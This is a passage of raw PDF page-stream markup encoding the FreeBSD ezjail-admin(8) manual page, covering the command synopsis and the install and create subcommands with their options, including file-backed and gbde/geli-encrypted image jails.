+(|)Tj +/TT4 1 Tf +0.8002 0 TD +(stop)Tj +/TT6 1 Tf +3.0004 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(restart)Tj +/TT6 1 Tf +4.8007 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(cryptostart)Tj +/TT8 1 Tf +7.2011 0 TD +(jailname...)Tj +/TT4 1 Tf +-28.4545 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(config)Tj +/TT6 1 Tf +3.9339 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +1.2001 0 TD +(run)Tj +/TT6 1 Tf +2.4003 0 TD +(|)Tj +/TT8 1 Tf +0.8002 0 TD +(norun)Tj +/TT6 1 Tf +3.0838 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(n)Tj +/TT8 1 Tf +1.2001 0 TD +(newname)Tj +/TT6 1 Tf +4.284 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i)Tj +/TT8 1 Tf +1.2001 0 TD +(attach)Tj +/TT6 1 Tf +4.2006 0 TD +(|)Tj +/TT8 1 Tf +0.8002 0 TD +(detach)Tj +/TT6 1 Tf +4.2006 0 TD +(|)Tj +/TT8 1 Tf +0.8002 0 TD +(fsck)Tj +/TT6 1 Tf +2.4837 0 TD +(])Tj +-35.0373 -1.2 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(z)Tj +/TT8 1 Tf +1.2001 0 TD +(newdataset)Tj +/TT6 1 Tf +6.0843 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c)Tj +/TT8 1 Tf +1.2001 0 TD +(newcpuset)Tj +/TT6 1 Tf +5.4842 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT8 1 Tf +1.2001 0 TD +(newfib)Tj +/TT6 1 Tf +3.6839 0 TD +(])Tj +/TT8 1 Tf +0.583 0 TD +(jailname)Tj +/TT4 1 Tf +-32.2006 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(delete)Tj +/TT6 1 Tf +3.9339 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(wf)Tj +/TT6 1 Tf +1.2835 0 TD +(])Tj +/TT8 1 Tf +0.583 0 TD +(jailname)Tj +/TT4 1 Tf +-14.4347 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(archive)Tj +/TT6 1 Tf +4.534 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(Af)Tj +/TT6 1 Tf +1.2835 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(a)Tj +/TT8 1 Tf +1.2001 0 TD +(archive)Tj +/TT6 1 Tf +4.284 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(d)Tj +/TT8 1 Tf +1.2001 0 TD +(archivedir)Tj +/TT6 1 Tf +6.0843 0 TD +(])Tj +/TT8 1 Tf +0.583 0 TD +(jailname...)Tj +/TT4 1 Tf +-31.5018 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(restore)Tj +/TT6 1 Tf +4.534 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT6 1 Tf +0.6834 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(d)Tj +/TT8 1 Tf +1.2001 0 TD +(archivedir)Tj +/TT6 1 Tf +6.0843 0 TD +(])Tj +/TT8 1 Tf +0.583 0 TD +(archive)Tj +/TT6 1 Tf +4.8007 0 TD +(|)Tj +/TT8 1 Tf +0.8002 0 TD +(jailname...)Tj +/TT4 1 Tf +-29.1692 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(update)Tj +/TT6 1 Tf +3.9339 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(sourcetree)Tj +/TT6 1 Tf +6.601 0 TD +(|)Tj +/TT8 1 Tf +0.8002 0 TD +(sourceosversion)Tj +/TT6 1 Tf +9.0848 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(p)Tj +/TT6 1 Tf +0.6834 0 TD +(])Tj +/TT3 1 Tf +0.7496 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(b)Tj +/TT6 1 Tf +1.2001 0 TD +(|)Tj +/TT3 1 Tf +0.9668 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i)Tj +/TT6 1 Tf +1.2001 0 TD +(|)Tj +/TT3 1 Tf +0.9668 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(P)Tj +/TT6 1 Tf +1.2001 0 TD +(|)Tj +/TT3 1 Tf +0.9668 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(u)Tj +/TT6 1 Tf +-34.6376 -1.2 TD +(|)Tj +/TT3 1 Tf +0.9668 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(U)Tj +/TT2 1 Tf +-12.3669 -2.4 TD +(DESCRIPTION)Tj +/TT6 1 Tf +3 -1.2 TD +(The)Tj +/TT4 1 Tf +1.9769 0 TD +(ezjail-admin)Tj +/TT6 1 Tf +7.6234 0 TD +0.1721 Tw +[(utility is used to manage the ezjail en)40(vironment and all the jails inside the ezjail)]TJ +-9.6003 -1.2 TD +0.0406 Tw +[(scope. This man page describes the in)40(v)20(ocation of)]TJ +/TT4 1 Tf +20.1754 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.2012 0 TD +0.0406 Tw +[(.)-540.6(Refer to)]TJ +/TT10 1 Tf +4.3703 0 TD +0 Tw +(ezjail)Tj +/TT6 1 Tf +3.6006 0 TD +0.0407 Tw +(\(7\) in order to get an)Tj +-35.3475 -1.2 TD +0 Tw +[(introduction to the usage of ezjail, as well as usage e)15(xamples.)]TJ +0 -1.8 TD +0.1819 Tw +[(The description of some options ends with V)111(ariable: )]TJ +/TT10 1 Tf +23.3388 0 TD +0 Tw +($ezjail_abcd)Tj +/TT6 1 Tf +7.2012 0 TD +0.1819 Tw +[(. )-250(This)-431.9(means that the def)10(ault)]TJ +-30.54 -1.2 TD +0 Tw +[(v)25(alue of the option may be o)15(v)15(erridden by setting this v)25(ariable in)]TJ +/TT10 1 Tf +25.8023 0 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +(\(5\).)Tj +/TT4 1 Tf +-34.2034 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(install)Tj +/TT6 1 Tf +-5.7138 -1.2 TD +0.0465 Tw +[(This function sub-command is normally run once in the life of the ezjail en)40(vironment. It allocates the direc-)]TJ +T* +0.0794 Tw +[(tory structure used by ezjail and populates the base jail using the minimal distrib)20(ution set from a FreeBSD)]TJ +T* +0 Tw +[(FTP serv)15(er)55(.)]TJ +0 -1.8 TD +0.1449 Tw +[(The def)10(ault location for ezjail)55(s)-394.9(basejail is in)]TJ +/TT10 1 Tf +19.1987 0 TD +0 Tw +(/usr/jails)Tj +/TT6 1 Tf +6.001 0 TD +0.145 Tw +[(,)-394.9(s)0(o)-394.9(b)0(e)-395(sure you ha)20(v)15(e)15( )-15(enough space there \(a)]TJ +-25.1997 -1.2 TD +0.0399 Tw +(FreeBSD base release without man pages, sources and ports is around 120MB\). This location may be modi-)Tj +/TT11 1 Tf +T* +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(ed in)Tj +/TT10 1 Tf +2.2217 0 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +(\(5\).)Tj +-9.3789 -1.8 TD +0.0912 Tw +(See also)Tj +/TT4 1 Tf +3.7371 0 TD +0 Tw +(ezjail-admin )Tj +7.5425 0 TD +(update)Tj +/TT6 1 Tf +3.9418 0 TD +0.0913 Tw +(to install the base jail from source, as well as a method to update the)Tj +-15.2213 -1.2 TD +0 Tw +(base jail using)Tj +/TT10 1 Tf +5.9712 0 TD +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +(\(8\).)Tj +-14.3726 -1.8 TD +[(The follo)25(wing options are a)20(v)25(ailable:)]TJ +/TT3 1 Tf +0.1666 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(m)Tj +/TT6 1 Tf +3.3333 0 TD +(Fetch and install man pages \(ca. 10MB\).)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(M)Tj +/TT6 1 Tf +3.3333 0 TD +0.0169 Tw +(Fetch and install man pages, without \(re\)installing the base jail. May be used to add the man pages)Tj +0 -1.2 TD +0 Tw +(to the base jail after the initial installation.)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT6 1 Tf +3.3333 0 TD +(Fetch and install sources \(ca. 450MB\).)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(S)Tj +/TT6 1 Tf +3.3333 0 TD +(Fetch and install sources, without \(re\)installing the base jail.)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(p)Tj +/TT6 1 Tf +3.3333 0 TD +0.6665 Tw +[(In)40(v)20(o)0(k)10(e)10( the)]TJ +/TT10 1 Tf +5.7415 0 TD +0 Tw +(portsnap)Tj +/TT6 1 Tf +4.8008 0 TD +0.6566 Tw +[(\(8\) utility to fetch and e)15(xtract a FreeBSD ports tree from)]TJ +/TT10 1 Tf +-10.5423 -1.2 TD +0 Tw +(portsnap.FreeBSD.org)Tj +/TT6 1 Tf +12.2805 0 TD +0.0285 Tw +(\(ca. 475MB\). When a ports tree is added to the base jail, a modi)Tj +/TT11 1 Tf +25.9184 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(ed)Tj +/TT10 1 Tf +-38.755 -1.2 TD +(make.conf)Tj +/TT6 1 Tf +5.7754 0 TD +0.1245 Tw +[(containing reasonable v)25(alues to function in the jailed en)40(vironment is added to the)]TJ +-5.7754 -1.2 TD +0.0347 Tw +[(ne)25(w)-284.8(jail template so all jails created from the ne)25(w)-284.8(jail template will ha)20(v)15(e)15( )-15(a)15( )-15(w)10(orking ports en)40(viron-)]TJ +T* +0 Tw +(ment. See the appendix)Tj +/TT13 1 Tf +9.5806 0 TD +[(Using P)80(ortsnap)]TJ +/TT6 1 Tf +6.4762 0 TD +(in the)Tj +/TT13 1 Tf +2.4995 0 TD +-0.232 Tw +[(F)55(r)55( eeBSD )-232(Handbook)]TJ +/TT6 1 Tf +8.2947 0 TD +0 Tw +(for details or)Tj +/TT10 1 Tf +5.3594 0 TD +(portsnap)Tj +/TT6 1 Tf +4.8008 0 TD +(\(8\).)Tj +/TT3 1 Tf +-40.9445 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(P)Tj +/TT6 1 Tf +3.3333 0 TD +[(Fetch and e)15(xtract a ports tree, without \(re\)installing the base jail.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(h)Tj +/TT8 1 Tf +1.2001 0 TD +(host)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.3995 Tw +[(Set the remote host to fetch FreeBSD distrib)20(ution sets from. If absent the def)10(ault host)]TJ +/TT10 1 Tf +T* +0 Tw +(ftp.FreeBSD.org)Tj +/TT6 1 Tf +9.2515 0 TD +[(is used. V)111(ariable: )]TJ +/TT10 1 Tf +7.5531 0 TD +($ezjail_ftphost)Tj +/TT6 1 Tf +9.0015 0 TD +(.)Tj +-32.906 -6 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(1)]TJ +ET +endstream +endobj +3 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT3 5 0 R +/TT4 6 0 R +/TT6 7 0 R +/TT8 8 0 R +/TT10 9 0 R +/TT11 10 0 R +/TT13 11 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +15 0 obj +<< +/Length 7260 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ +7.1 -4.8 TD +0.0171 Tw +(It is possible to install from the)Tj +/TT10 1 Tf +12.8131 0 TD +0 Tw +(disc1)Tj +/TT6 1 Tf +3.2676 0 TD +0.017 Tw +[(CDRom, or an e)15(xtracted -RELEASE directory)65(,)-267(b)0(y)-267(specify-)]TJ +-16.0806 -1.2 TD +0 Tw +(ing the)Tj +/TT8 1 Tf +2.9995 0 TD +(host)Tj +/TT6 1 Tf +2.6504 0 TD +[(ar)18(gument as)]TJ +/TT10 1 Tf +5.0914 0 TD +(file://path/to/source)Tj +/TT6 1 Tf +12.602 0 TD +(.)Tj +/TT3 1 Tf +-27.2767 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +1.2001 0 TD +(release)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0166 Tw +[(Install this release of FreeBSD in the base jail, instead of the v)15(ersion returned by )]TJ +/TT10 1 Tf +33.1691 0 TD +(uname -r)Tj +/TT6 1 Tf +4.8174 0 TD +0.2666 Tc +0 Tw +[(o)266.6(n)]TJ +-37.9864 -1.2 TD +0 Tc +0.0057 Tw +[(the host system. Note that the FreeBSD FTP serv)15(ers usually pro)15(vide only -RELEASE v)15(ersions, not)]TJ +T* +0.0473 Tw +[(-ST)93(ABLE nor -CURRENT v)15(ersions; you will be prompted for con)]TJ +/TT11 1 Tf +27.0643 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0473 Tw +(rmation when trying to install)Tj +-27.6204 -1.2 TD +0.0521 Tw +[(a)-302.2(non -RELEASE v)15(ersion. If you w)10(ant to install a -CURRENT v)15(ersion, you may ha)20(v)15(e)15( )-15(to)-302.1(compile)]TJ +T* +0 Tw +(from source the base jail; see the)Tj +/TT4 1 Tf +13.356 0 TD +(ezjail-admin )Tj +7.4513 0 TD +(update)Tj +/TT6 1 Tf +3.8506 0 TD +(sub-command for this.)Tj +/TT4 1 Tf +-30.5578 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(create)Tj +/TT6 1 Tf +-5.7138 -1.2 TD +0.0181 Tw +[(Create a ne)25(w)-268.1(jail inside ezjail)55(s)-268.1(scope. It either copies the ne)25(w)-268.2(jail directory tree template or an ezjail archi)25(v)15(e)]TJ +T* +0.0402 Tw +[(directory tree to ne)25(w)-290.2(jail root directory)65(,)]TJ +/TT10 1 Tf +16.241 0 TD +0 Tw +(/usr/jails/)Tj +/TT8 1 Tf +6.6011 0 TD +(jailname)Tj +/TT6 1 Tf +5.091 0 TD +0.0402 Tw +[(by def)10(ault. Jailname and IP address are)]TJ +-27.9331 -1.2 TD +0 Tw +(mandatory parameters.)Tj +0 -1.8 TD +0.1582 Tw +[(When a ne)25(w)-408.2(jail is created, a corresponding ne)25(w)]TJ +/TT10 1 Tf +21.0331 0 TD +0 Tw +(/etc/fstab.)Tj +/TT8 1 Tf +6.6011 0 TD +(jailname)Tj +/TT11 1 Tf +5.2091 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1583 Tw +(le is also created, with a)Tj +/TT10 1 Tf +-33.3994 -1.2 TD +0 Tw +(nullfs)Tj +/TT6 1 Tf +3.6006 0 TD +[(\(5\) mount gi)25(ving access to the base jail from the ne)25(w)-250(jail.)]TJ +-3.6006 -1.8 TD +[(The follo)25(wing operands are mandatory:)]TJ +/TT8 1 Tf +T* +(jailname)Tj +/TT6 1 Tf +4.1 -1.2 TD +0.4521 Tw +[(The name of the jail. It is customary to use the netw)10(ork name of the jail, such as)]TJ +T* +0 Tw +()Tj +/TT10 1 Tf +0.4438 0 TD +(jail1.example.com)Tj +/TT6 1 Tf +10.2017 0 TD +[()-250(\(or maybe simply )]TJ +/TT10 1 Tf +8.4419 0 TD +(jail1)Tj +/TT6 1 Tf +3.0005 0 TD +[(\), b)20(ut really an)15(y)-250(name may be used.)]TJ +-22.0879 -1.8 TD +0.0236 Tw +[(It is an error to ha)20(v)15(e)15( )-15(se)25(v)25( )263.6(eral jails of the same name, note that due to ezjail)55(s)-273.7(internal jailname sani-)]TJ +0 -1.2 TD +0.0306 Tw +(tation, )Tj +/TT10 1 Tf +3.2518 0 TD +0 Tw +(sand-box.com)Tj +/TT6 1 Tf +7.2012 0 TD +0.0306 Tw +[()-280.6(and )]TJ +/TT10 1 Tf +2.8927 0 TD +0 Tw +(sand_box_com)Tj +/TT6 1 Tf +7.2012 0 TD +0.0306 Tw +[()-280.6(are considered identical. Some names such as)]TJ +-20.5469 -1.2 TD +0 Tw +()Tj +/TT10 1 Tf +0.4438 0 TD +(basejail)Tj +/TT6 1 Tf +4.8008 0 TD +[()-250(and )]TJ +/TT10 1 Tf +2.8315 0 TD +(flavours)Tj +/TT6 1 Tf +4.8008 0 TD +[()-250(are reserv)15(ed for ezjails internal administrati)25(v)15(e)15( )-15(purposes.)]TJ +/TT8 1 Tf +-16.977 -1.8 TD +(ipaddress)Tj +/TT6 1 Tf +5.4842 0 TD +([)Tj +/TT8 1 Tf +0.4163 0 TD +(,ipaddress2,...)Tj +/TT6 1 Tf +9.0848 0 TD +(])Tj +-10.8853 -1.2 TD +0.056 Tw +[(The IP address or addresses of the jail. Since FreeBSD 7.2, it is possible to assign se)25(v)15(eral se)25(v)15(eral)]TJ +T* +0.0625 Tw +[(IPv4 or IPv6 addresses to a jail, by separating them with commas. Pre)25(vious v)15(ersions of FreeBSD)]TJ +T* +0 Tw +[(allo)25(wed only a single IPv4 address per jail.)]TJ +0 -1.8 TD +0.0634 Tw +(From FreeBSD 9.0 the ipaddresses may be pre)Tj +/TT11 1 Tf +19.1069 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0634 Tw +[(x)15(ed with an interf)10(ace name, follo)25(wed by the pipe)]TJ +-19.663 -1.2 TD +0.0829 Tw +(symbol. It will then automatically be con)Tj +/TT11 1 Tf +16.9105 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0828 Tw +[(gured as an alias on that interf)10(ace when the jail starts.)]TJ +-17.4666 -1.2 TD +0 Tw +(Else)Tj +/TT4 1 Tf +2.062 0 TD +(ezjail-admin)Tj +/TT6 1 Tf +7.5415 0 TD +0.0903 Tw +[(will display a w)10(arning if the requested address is not found on an)15(y)-340.4(inter)20(-)]TJ +-9.6034 -1.2 TD +0 Tw +[(f)10(ace, and the jail will probably not start.)]TJ +0 -1.8 TD +0.1343 Tw +[(It is common to bind jails to loopback addresses, so the)15(y)-384.3(pro)15(vide services visible to other jails)]TJ +0 -1.2 TD +0 Tw +[(only)65(.)]TJ +-4.1 -1.8 TD +[(The follo)25(wing options are a)20(v)25(ailable:)]TJ +/TT3 1 Tf +0.1666 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +1.2001 0 TD +(jailroot)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.119 Tw +[(Use this name as the directory name of the ne)25(w)-369(jail. W)40(ithout this option, it is deri)25(v)15(e)0(d)-369(from the)]TJ +T* +0.0086 Tw +[(jail)55(s)-258.6(name. If this option is gi)25(v)15(e)0(n)-258.6(and does not start with a /, it is interpreted as relati)25(v)15(e)15( )-15(to)-258.6(ezjail)55(s)]TJ +T* +0.1054 Tw +(root directory)Tj +/TT10 1 Tf +5.931 0 TD +0 Tw +(\(/usr/jails)Tj +/TT6 1 Tf +6.9565 0 TD +0.1054 Tw +[(by def)10(ault\). If a speci)]TJ +/TT11 1 Tf +8.9355 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1054 Tw +(ed jailroot path lies outside the ezjail root)Tj +-22.3792 -1.2 TD +0.013 Tw +[(directory)65(,)-263(a)-263(soft link is created inside)]TJ +/TT10 1 Tf +15.0768 0 TD +0 Tw +(/usr/jails/)Tj +/TT6 1 Tf +6.8641 0 TD +0.013 Tw +[(pointing to the location of the ne)25(wly created)]TJ +-21.9409 -1.2 TD +0 Tw +(jail.)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(a)Tj +/TT8 1 Tf +1.2001 0 TD +(archive)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0006 Tw +[(Restore a jail from an archi)25(v)15(e)15( )-15(created with)]TJ +/TT4 1 Tf +17.2348 0 TD +0 Tw +(ezjail-admin )Tj +7.452 0 TD +(archive)Tj +/TT6 1 Tf +4.2007 0 TD +0.0007 Tw +[(.)-500.7(The archi)25(v)15(e)15( )]TJ +/TT11 1 Tf +5.7092 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0007 Tw +[(les are k)10(ept)]TJ +-35.1528 -1.2 TD +0 Tw +(in)Tj +/TT10 1 Tf +1.0487 0 TD +(/usr/jails/ezjail_archives)Tj +/TT6 1 Tf +15.8734 0 TD +0.0209 Tw +[(by def)10(ault. Use)]TJ +/TT10 1 Tf +6.3841 0 TD +0 Tw +(-)Tj +/TT6 1 Tf +0.8709 0 TD +0.0208 Tw +[(to restore an archi)25(v)15(e)15( )-15(from the standard)]TJ +-24.1772 -1.2 TD +0 Tw +(input.)Tj +0 -1.8 TD +0.0543 Tw +[(Y)110(o)0(u)-304.2(will probably need to tidy up things inside an ezjail if you migrate it between dif)25(ferent ezjail)]TJ +0 -1.2 TD +0.0742 Tw +[(en)40(vironments. This may include \(b)20(ut is not limited to\) reinstalling ports or packages for dif)25(ferent)]TJ +T* +0.0924 Tw +[(CPUs or library v)15(ersions. Y)110(ou may also need to cop)10(y)-342.4(some libraries from the source host)55(s)-342.5(base)]TJ +-7.1 -4.8 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(2)]TJ +ET +endstream +endobj +16 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT3 5 0 R +/TT4 6 0 R +/TT6 7 0 R +/TT8 8 0 R +/TT10 9 0 R +/TT11 10 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +18 0 obj +<< +/Length 8990 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ +7.1 -4.8 TD +0 Tw +(jail.)Tj +0 -1.8 TD +0.0645 Tw +(See also)Tj +/TT4 1 Tf +3.6837 0 TD +0 Tw +(ezjail-admin )Tj +7.5158 0 TD +(restore)Tj +/TT6 1 Tf +4.2007 0 TD +0.0644 Tw +[(,)-314.5(i)0(f)-314.5(you only w)10(ant to re)25(v)15(ert to an old jail)55(s)-314.4(state from an ar)20(-)]TJ +-15.4001 -1.2 TD +0 Tw +[(chi)25(v)15(e)15( )-15(on)-250(the same release v)15(ersion.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(x)Tj +/TT6 1 Tf +3.3333 0 TD +(This )Tj +/TT11 1 Tf +2.0569 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0291 Tw +[(ag indicates that a jail root directory for that jail already e)15(xists. )-250.1(In)-279.2(this case, ezjail will only)]TJ +-2.6131 -1.2 TD +0 Tw +[(import the jail to its control directory)65(.)-250(Sanity checks are performed.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT8 1 Tf +1.2001 0 TD +(flavour)Tj +/TT6 1 Tf +2.1332 -1.2 TD +(Install the requested)Tj +/TT8 1 Tf +8.3027 0 TD +(flavour)Tj +/TT6 1 Tf +4.4507 0 TD +[(in the ne)25(w)-250(jail. Refer to)]TJ +/TT10 1 Tf +9.6664 0 TD +(ezjail)Tj +/TT6 1 Tf +3.6006 0 TD +(\(7\) for more details on )Tj +/TT11 1 Tf +9.2471 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(a)20(v)20(ours.)]TJ +-35.8236 -1.8 TD +(This option may not be used with the)Tj +/TT3 1 Tf +15.276 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(a)Tj +/TT6 1 Tf +0.8501 0 TD +(option.)Tj +/TT3 1 Tf +-20.6596 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c simple)Tj +/TT6 1 Tf +5.4008 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(bde)Tj +/TT6 1 Tf +2.4003 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(eli)Tj +/TT6 1 Tf +2.4003 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(zfs)Tj +/TT6 1 Tf +-9.2687 -1.2 TD +[(Create an image jail of the gi)25(v)15(e)0(n)-250(type.)]TJ +/TT4 1 Tf +0 -1.8 TD +0.0398 Tw +(simple, bde)Tj +/TT6 1 Tf +7.2807 0 TD +0 Tw +(and)Tj +/TT4 1 Tf +1.7336 0 TD +(eli)Tj +/TT6 1 Tf +2.0901 0 TD +0.0398 Tw +(image jails are )Tj +/TT11 1 Tf +6.2 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0398 Tw +[(le back)10(ed memory discs attached as)]TJ +/TT10 1 Tf +14.7786 0 TD +0 Tw +(md)Tj +/TT6 1 Tf +1.2002 0 TD +0.0398 Tw +[(\(4\) de)25(vices, so)]TJ +-33.8393 -1.2 TD +0.048 Tw +[(the jail can ne)25(v)15(e)0(r)-298(gro)25(w)-298(b)0(e)15(yond its allocated size and can e)25(v)15(en)-298.1(be)-298.1(mounted read only)65(.)-298.1(The jail will)]TJ +T* +0.0086 Tw +(be stored in a )Tj +/TT11 1 Tf +5.6438 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0086 Tw +(le named)Tj +/TT8 1 Tf +3.9044 0 TD +0 Tw +(jailname)Tj +/TT10 1 Tf +4.8008 0 TD +(.img)Tj +/TT6 1 Tf +2.4004 0 TD +[(,)-258.6(unless)]TJ +/TT3 1 Tf +3.4338 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +1.2087 0 TD +(jailroot)Tj +/TT6 1 Tf +5.0594 0 TD +0.0086 Tw +[(is gi)25(v)15(en, in which case the jail)]TJ +-27.6075 -1.2 TD +0 Tw +(is stored in)Tj +/TT8 1 Tf +4.6387 0 TD +(jailroot)Tj +/TT10 1 Tf +4.8008 0 TD +(.img)Tj +/TT6 1 Tf +2.4004 0 TD +(.)Tj +-11.8398 -1.8 TD +(Both)Tj +/TT4 1 Tf +2.252 0 TD +(bde)Tj +/TT6 1 Tf +2.4575 0 TD +(and)Tj +/TT4 1 Tf +1.751 0 TD +(eli)Tj +/TT6 1 Tf +2.1075 0 TD +0.0572 Tw +(jails use the)Tj +/TT10 1 Tf +5.1428 0 TD +0 Tw +(geom)Tj +/TT6 1 Tf +2.4004 0 TD +0.0572 Tw +[(\(4\) frame)25(w)10(ork to encrypt all data written to the image )]TJ +/TT11 1 Tf +22.3074 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(le)Tj +-38.9748 -1.2 TD +(using)Tj +/TT10 1 Tf +2.417 0 TD +(gbde)Tj +/TT6 1 Tf +2.4004 0 TD +(\(4\) \(for)Tj +/TT4 1 Tf +3.165 0 TD +(bde)Tj +/TT6 1 Tf +1.8003 0 TD +0.25 Tc +[(\)o)250(r)]TJ +/TT10 1 Tf +1.666 0 TD +0 Tc +(geli)Tj +/TT6 1 Tf +2.4004 0 TD +(\(8\) \(for)Tj +/TT4 1 Tf +3.165 0 TD +(eli)Tj +/TT6 1 Tf +1.8003 0 TD +(\).)Tj +-18.8145 -1.8 TD +0.0066 Tw +(Unless you pass some options to the encryption geom commands using the)Tj +/TT3 1 Tf +30.4644 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(C)Tj +/TT6 1 Tf +0.8566 0 TD +0.0065 Tw +[(parameter)40(,)-256.5(you will)]TJ +-31.9211 -1.2 TD +0.2766 Tw +(be prompted for a passphrase to protect the crypto image. Note that, since starting normal)Tj +T* 